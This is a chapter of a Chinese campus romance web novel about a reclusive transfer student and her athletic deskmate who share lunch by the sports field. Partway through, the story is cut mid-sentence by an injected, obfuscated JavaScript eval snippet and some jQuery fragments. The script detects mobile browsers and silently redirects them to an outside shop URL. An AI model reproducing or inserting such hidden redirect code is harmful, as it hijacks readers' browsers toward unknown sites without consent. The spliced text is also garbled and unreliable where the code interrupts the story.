下午四节课上完,扶晓是走读生不上晚自习,径直回到她和朱红雪的新家。钥匙转动,屋里那座山还是那座山,朱红雪人坐在客厅沙发里,纤细的身躯坐得笔直,人正在打电话,不太明晰的光透过阳台玻璃透出来,扶晓能看见朱红雪正在擦拭的泛红的眼圈。
她沉默地收拾起那堆东西来,边整理边把属于她的东西搬到她房间。
这所小区建造得有些古早,外饰仿造欧式,内部也不是常见的四方格局。扶晓的房间便多了道短墙,不大的空间被开了两扇窗。
一扇很大、往外看过去树荫清透,视野开朗。另一扇很窄,窄到只是作为装饰无法打开。这两扇窗户比邻,扶晓略看一眼便想象如若在晴天时刻,房间里的景色应该会很不错。
但眼下外面还在断断续续地下着小雨,天色灰蒙蒙的,越看心情越沉重。但扶晓来来回回路过时又总是下意识看窗外几眼,低沉的天色压过来,从学校带回来的些许轻松感渐渐被压垮,如此反复几次,扶晓干脆拉上了窗帘。
收拾差不多时,朱红雪忽然走进来,脸上浮现出这几天的第一次笑脸,“你父亲的电话。”
扶晓掀开眼皮看了她一眼,接过手机应了声。
“晓晓,这几个月你好好想想之后要走什么样的路,想好了告诉我。”对方这么说。
“下周你哥他们考察项目会路过寒桥,你要是愿意的话可以和他们一块学习学习。”
和扶星那个纨绔,还有纨绔的朋友们学习,能学到什么。
扶晓忍住嗤笑,却照旧应声道:“知道了,我会好好招待他们的,谢谢爸。”
朱红雪满意地把手机抽走,人又回到了客厅继续说电话,她的声音不大,扶晓却听得清清楚楚,那些认错的,撒娇的声音传过来直叫她后背发麻,借着最后一次拿行李时,一把将门关上。
这次过来寒桥的决定很突然,因此扶晓带来的东西很少,她把仅一个季节的衣服收拾好,又把明天要带的课本整理出来,拉开书包拉链,扶晓才发现温过冬借给她的毛巾被她不小心给带回来了。
毛巾很干净,她在使用时就知道,但还是沾了点气味,那种说不上的,但是闻着很让人心安的气味。
扶晓深深地怔了下,随后将毛巾放进脏衣篮里,洗完澡后随着换洗衣服一道洗了遍。
扶晓转学过来这件事,在很短的时间内成了年级的饭后闲谈,不仅是她长得漂亮,更重要的是,她转过来后的连续两周小考成绩都名列第一,数学和物理更是达到过惊人的满分。
在高三的冲刺阶段忽然来了位这种程度的学霸,不对,应该说是学神,不得不说不管是激励还是震动,都极大地刺激到了一部分人。
温过冬对此佩服得五体投地。
他在第一次小考后,就回想起数学课上那件事,那个时候他卷面的分数大喇喇的摆着——
身为一个体育生,温过冬觉得他的文化课已经相当优秀了,但新来的同桌可是满分选手,也不知道她在看到那个分数的时候是怎么看待他的,一个头脑草包四肢发达的人?
但扶晓没法回答她,一来他并没有当着她面问这个问题,毕竟两人除了是老覃钦点的同桌外,并不熟络。二来扶晓从转学过来的第四天起,就开始隔三差五地请假缺课,第二个星期甚至没有上满两天课。
班主任老覃在见识到扶晓的小考成绩后,原先的担忧没了,但新的担忧又出现了。他很难联系到扶晓的监护人,只好把希望寄托在她的同桌温过冬身上。短短两周找了他两次,每次都是询问扶晓有没有和他说过请假的具体去处。
温过冬觉得如果他知道,肯定会很讲义气地帮扶晓隐瞒,可惜现实没给他这个机会,他和扶晓说过的话加起来拢共才一只手。
然而却在第三周的周一早上,左金科就一脸便秘地告诉了他一件事。
“我上周末帮我爹干活的时候,亲眼看到新同学和一长挺帅男的走一块,那个男的比我们大不了几岁。”
“你想说什么?”
左金科一贯好八卦,叫温过冬不得不往某些方向多想。
左金科探过脑袋,压低声量,“我发誓我没添油加醋,但我和你说,除非那个人是她亲哥,要不然勾肩搭背什么的,实在是太亲密了点。但你说亲哥能拉着自个亲妹旷课么?”
这天上午扶晓依旧没过来,温过冬在课间时被几个玩得还行的男同学打趣成“孤家寡人”。
他没放在心里,午饭课铃一响,便去了学校附近的小吃街要了份炒年糕打包,然后慢吞吞地到了操场把包放下,进了厕所换了身运动服。
温过冬先是常规性地跑三圈,然后是跳远,铅球……几个项目练完,他那身运动服就已经被汗打湿得差不多了。
身为班里不多的体育特长生,温过冬知道他得先在体育方面拿到足够的分数,再用文化课去填补。但目前为止,他的体育方面天赋更多,文化课带给他的只有添堵,因此他觉得他得在体育项目上更努力一点。
锻炼完温过冬依旧穿着那身短袖短裤,一边抹脖子上的汗珠一边往附近的厕所过去。操场附近的厕所靠近建材室,平时除了体育课没什么人过来来,比起一般的厕所干净很多,温过冬每次运动完都会在这里擦洗和换衣服。
但今天和往常有些不太一样,温过冬在离厕所还有几步远的时候,闻到股不轻不重的烟味。
操场附近的小树林是学校保安大叔们平时监察的重点位置,平时只有胆大的情侣,没有嚣张的烟鬼。
温过冬好奇继续往前走,越过转角,视野里忽然出现一道清瘦的人影,竟然是有几天没见到的扶晓。
她人就靠在那边,身上是立领款短袖和运动款长裤,一只手里掐着烟,白色的烟雾散开,露出她没什么表情的脸。
温过冬定定地站在那,盯着她看了很久,也不知道为什么,明明扶晓才转学来没几天,却总觉得和她认识很久了。
以至于忽然见到,他才陡地发现原来心里早缺了一块。
两人都没说话,扶晓没避开温过冬的视线,和他一样会看着他。
温过冬运动完,忽然静下来身上汗如雨下,也总算是把扶晓的五官看清晰了。
她的一双瞳色有些浅,因此即便是笑看起来也没什么情绪,眼睛下是挺而翘的鼻梁,自带微笑弧度的唇线,以及她瘦削的下颌线。
“这么看我做什么?”
扶晓淡定地承受着温过冬的注视,又当着他的面吞/吐一口烟,再淡定不过地问道。
随后目光似有实质般地将他上下扫了眼,又道:“你们特长生训练都穿这么短的裤子么?”
“啊?”
温过冬回过神来,低头看了眼,脸上浮现抹不好意思却又有些得意的笑,“我这腿天赋异禀练得还好,不秀秀别人怎么看得见。”
这话说完了他才把短裤扯了下来些,扶晓随着看了眼,笑道,“是练得很不错。”
“你才过来么?”温过冬问道。
两人笑完后气氛融洽了不少,温过冬走到水池边接水冲脸,水花扑腾,溅出他身上的鲜活劲儿。
扶晓转了方向继续看着他,熄灭了烟,“嗯,刚刚过来的,看见你在训练,怕打扰你。”
温过冬一时受宠若惊,红扑扑的脸抬起来,眼角微微下垂,眸子里全是藏不住的惊喜和意外。
“你找我……有事?”
“不算有事。”
扶晓看着温过冬越来越红的脸,止住了话头,打开书包递过去毛巾,“你上次借我的毛巾我不小心带回去了,这是我洗过的。”
“哦。”
温过冬接过去,一下子不知道说什么好,他刚才有点误会扶晓的意思了,也不知道她有没有看出来。
正尴尬着,扶晓问道:“你不用么,你脸上和头发都湿了。”
“用的。”
温过冬顺势将脸埋进毛巾里,擦拭之中他闻到股淡淡的洗衣液的味道,喉结顺着滚动了两下,抬起脸时,扶晓还站在原地看着他,神色没什么太大的变化。
“你吃过午饭了么,我买了炒年糕,要一起尝尝不?”
温过冬也不知道为什么他要这么问,明明炒年糕也不是什么拿得出手的东西。
“我吃过来的。”
扶晓站直了身体,“但可以蹭一点你的午饭。”
她说着朝温过冬放书包的地方走
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17916691|213352||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,“但是你得先换衣服吧?”
温过冬跟过去,“你怎么知道我得换衣服。”
他有些不确定地嗅了口衣领,没闻出太大的味道来。但身为体育生,他不知道被班里人嫌弃多少次难闻了,温过冬已经形成了下意识的习惯。
“很简单,你在教室里可没穿过短裤。”
到了那盒年糕旁边,扶晓就着石板地坐下,“你去吧,我在这里等你。”
温过冬急急地说了声好,提着书包朝厕所大步跑去。
两人并肩坐在一棵梧桐树下的阴凉处,头顶上成枝的叶片被风吹出呼啦声响,再往上是放晴的蓝色的天空,和稀薄的白云。
扶晓的眼帘晴朗一片,她尝了块温过冬的年糕,又看着他替她在请假的这些天里领来的十来张试卷,从上往下扫着题型,默默地记下几道做的少的。
年糕凉了之后不是很好嚼,温过冬腮帮子鼓动半天,才空出时间来,“扶晓,你这些天怎么一直请假,你今天要是没来,我还以为你这周都不来了呢。”
温过冬尽量不过分探听隐私,眼神一下一下地落在扶晓脸上,“你都不知道,老覃可关心你这个学神了,就怕耽误你学习。”
“家里有点事。”
扶晓回看了他一眼,“老覃问你我的事?”
“嗯。”
“那你怎么回的?”
“我?”温过冬笑笑,“我说不知道呗,我本来也不知道啊。”
扶晓跟着抿了抿唇没再说什么,从裤兜里摸出烟和打火机来,就要点上,被温过冬盯来的灼热的视线给打断了。
“你要来根么?”扶晓把烟盒朝他那边递了递。
温过冬看了眼四周,伸手把烟往下压去,温热的手心贴在她的手背上。
“你得当心着点,咱们学校挺严格的,一般人通常只敢在厕所里抽。”
扶晓收回烟没再点,温过冬忽然觉得扶晓和看起来的样子差别挺大的。
她平时话不多,上课时规规矩矩地听课,既不仗着成绩好混着科目写卷子,也对来请教的同学们一视同仁,但除此外和班里人没有任何交集,怎么看都挺冷淡。
但此时此刻竟然和他一块坐在地上,甚至还给他发烟。
“抽烟是什么滋味啊?”
温过冬升高中后就被王珍妮女士警告过这方面,当然他自己也不感兴趣,但看着扶晓那样子忽然有些好奇起来,“飘飘欲仙?还是让人很清醒?”
“哪有什么神仙啊,”
扶晓轻轻笑了下:“好学生不用知道这事。”
“我要是好学生,你就是真神仙了。”
“你真好奇?”扶晓问道:“你满十八了?”
温过冬当下就想撒个谎,但考虑到离他的生日只差一个多月点了,还是实话实说地摇了摇头,
“还没,但是也快了。”
“那到时候再说吧。”
扶晓站起身,不远处的云层变得厚实而磅礴,“看起来要下雨,回教室吧。”
温过冬收拾东西跟在她身后,快到教室时遇见几个同班同学,他们冲着温过冬挤眉弄眼比划手语,但温过冬正在想扶晓刚才说的话,没顾得上理会。
快到教室时,温过冬才想明白扶晓刚才那话的意思,开口道:“你刚刚的意思是不是说等我过了十八岁生日,就让我知道那是什么滋味?”
他问这问题时眼神亮晶晶的,扶晓不由得多看了两眼,他和她之前接触过的纨绔们实在是太不一样了。这种话如果放在那些纨绔嘴里,巴不得说成带着蜜的调情意味,但放在温过冬嘴里就像是个讨赏的小孩。
一包烟而已,他自己就可以买,非要这么说的话,其实不代表他非得和她扯上什么关系,而是他单纯地把这件事和她划上等号了而已。
“你可以这么理解。”
扶晓边说边踏进教室,声音低了八度,“如果你的生日真的不远的话。”
过了时间,她可就不在寒桥了,什么承诺都不管用。
“我还能骗你不成。”
温过冬兴冲冲的,抓住了能和扶晓维持住关系的关键道具,把自己变成了她这位漫画主角身边有特殊连接的人。